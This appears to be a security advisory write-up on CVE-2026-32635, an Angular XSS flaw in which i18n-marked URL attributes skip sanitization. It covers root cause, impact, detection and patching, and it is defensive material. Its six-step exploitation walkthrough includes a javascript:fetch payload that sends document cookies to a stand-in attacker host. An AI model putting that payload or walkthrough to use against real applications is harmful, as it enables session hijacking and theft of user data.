CVE-2026-32635: 
JavaScript vulnerability analysis and mitigation

CVE-2026-32635 is a Cross-Site Scripting (XSS) vulnerability in the Angular runtime (@angular/core) and compiler (@angular/compiler) that allows attackers to bypass Angular's built-in sanitization mechanism via the internationalization (i18n) attribute feature. When a security-sensitive HTML attribute (e.g., href, src, action) is bound to untrusted user-generated data and simultaneously marked for translation using i18n-<attribute>, the sanitization step is skipped, enabling script injection. The vulnerability was disclosed on March 13, 2026, via a GitHub Security Advisory. Affected versions span @angular/core and @angular/compiler from 17.0.0-next.0 through 18.2.14 (all), 19.0.0-next.0 through 19.2.19, 20.0.0-next.0 through 20.3.17, 21.0.0-next.0 through 21.2.3, and 22.0.0-next.0 through 22.0.0-next.2. It carries a CVSS v3.1 score of 9.0 (Critical) and a CVSS v4.0 score of 8.6 (High) (GitHub Advisory, Feedly).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). Angular normally applies URL sanitization (via _sanitizeUrl) when rendering security-sensitive attributes such as href, src, action, formaction, background, cite, codebase, data, itemtype, longdesc, poster, and xlink:href. However, when the i18n translation pipeline processes these attributes (i.e., when i18n-<attribute> is present on the same element), the runtime's i18nAttributesFirstPass function and ICU tree walker failed to pass the sanitizer function, effectively setting it to null and bypassing sanitization entirely (GitHub Advisory). The fix in PR #67541 corrected i18n_parse.ts to conditionally apply _sanitizeUrl for URI attributes even in translated contexts, and PR #67561 additionally disallowed translations of iframe src attributes in the compiler's trusted-types sink list (Angular PR #67541, Angular PR #67561). Exploitation requires: (1) a vulnerable Angular version, (2) a security-sensitive attribute bound to untrusted user input, and (3) the i18n-<attribute> marker present on the same element.

Successful exploitation allows an attacker to execute arbitrary JavaScript within the context of the victim's browser session on the affected application's domain. Concrete consequences include session hijacking (theft of cookies and authentication tokens), data exfiltration (capturing sensitive user data and transmitting it to attacker-controlled infrastructure), unauthorized actions performed on behalf of authenticated users, and application content defacement or malware distribution (GitHub Advisory). Because the injected script runs in the victim's browser under the application's origin, it can access any data accessible to that session, including credentials stored in localStorage or sessionStorage. The attack can affect multiple users simultaneously if the malicious payload is stored (e.g., in a database) and rendered to all visitors of the affected page (Feedly).

As of the time of disclosure, there is no public proof-of-concept exploit code and no confirmed evidence of in-the-wild exploitation (Feedly). The EPSS score is approximately 0.044% (0.000440), indicating a low current probability of exploitation in the wild. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires low privileges (e.g., a registered user who can supply input that gets stored and rendered) and passive user interaction (a victim must load the page containing the malicious attribute), which somewhat limits opportunistic mass exploitation but makes targeted attacks against specific applications feasible (GitHub Advisory).

1. Identify a vulnerable application: Locate an Angular web application using @angular/core or @angular/compiler versions 17.x–18.2.14, 19.x < 19.2.20, 20.x < 20.3.18, 21.x < 21.2.4, or 22.0.0-next.0/next.1/next.2. Check package.json or package-lock.json for the Angular version.
2. Find a vulnerable template pattern: Identify components in the application that use a security-sensitive attribute (e.g., href, src, action, formaction) bound to user-controlled data AND marked with i18n-<attribute>, for example: <a [href]="userInput" i18n-href>Click me</a>.
3. Craft a malicious payload: Prepare a URL-based XSS payload such as javascript:fetch('https://attacker.example/steal?c='+document.cookie) or javascript:alert(document.domain) to confirm execution.
4. Inject the payload: Supply the malicious URL as the value for the bound attribute — for example, by submitting it through a user profile field, URL parameter, or any other input that populates the bound variable.
5. Trigger victim interaction: Deliver a link or lure the victim to the page containing the rendered malicious attribute. When the victim's browser renders the Angular component, the unsanitized javascript: URL is set on the element.
6. Achieve script execution: When the victim clicks the link (or the attribute is otherwise activated), the injected JavaScript executes in the victim's browser under the application's origin, enabling session token theft, unauthorized API calls, or further attacks (GitHub Advisory, Angular PR #67541).

• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after loading Angular pages (potential data exfiltration via fetch or XMLHttpRequest in injected scripts); unusual Referer headers pointing to Angular application pages in attacker-controlled server logs.
• Logs: Application server logs showing user-supplied values containing javascript:, data:text/html, or encoded variants being stored in fields that are later rendered in Angular templates with i18n-href, i18n-src, i18n-action, or similar attributes; Content Security Policy (CSP) violation reports triggered by javascript: URI execution attempts.
• File System / Database: Stored values in database fields containing javascript:alert(, javascript:fetch(, or other script-bearing URI schemes in columns mapped to Angular template bindings on security-sensitive attributes.
• Browser / Client-Side: Unexpected JavaScript execution (e.g., alert dialogs, network requests to unknown domains) when interacting with Angular application links or form elements; browser developer console errors related to blocked javascript: URIs if CSP is enforced.

Upgrade immediately to the following patched versions of @angular/core and @angular/compiler: 19.2.20, 20.3.18, 21.2.4, or 22.0.0-next.3 (for pre-release users). Angular versions 17.x and 18.x have no patch available from the Angular team; users on those end-of-life versions should upgrade to a supported release or consider third-party LTS support (GitHub Advisory). As a temporary workaround prior to patching: (1) avoid using i18n-<attribute> on any security-sensitive attribute (href, src, action, formaction, etc.) that is bound to user-controlled data; (2) explicitly sanitize values using Angular's DomSanitizer.sanitize(SecurityContext.URL, value) before binding; and (3) implement a strict Content Security Policy (CSP) that blocks javascript: URIs and restricts script sources as an additional defense layer (GitHub Advisory). IBM API Connect users should consult the IBM advisory for product-specific patch guidance (IBM Advisory).

The vulnerability received notable coverage from security news outlets, with GBHackers, CyberSecurityNews, and SecurityOnline.info publishing articles describing it as threatening "thousands of web applications" (GBHackers, CyberSecurityNews, SecurityOnline). HeroDevs published a dedicated technical blog post on the CVE, and the Belgian Centre for Cybersecurity (CCB) issued a warning advising immediate patching (HeroDevs, CCB Belgium). The Hacker News included it in their weekly security recap, and Red Hat acknowledged the vulnerability via their CVE tracking system (Red Hat). Community discussion on Reddit's Angular subreddits focused on CVE scanning tooling for Angular projects in the wake of this disclosure.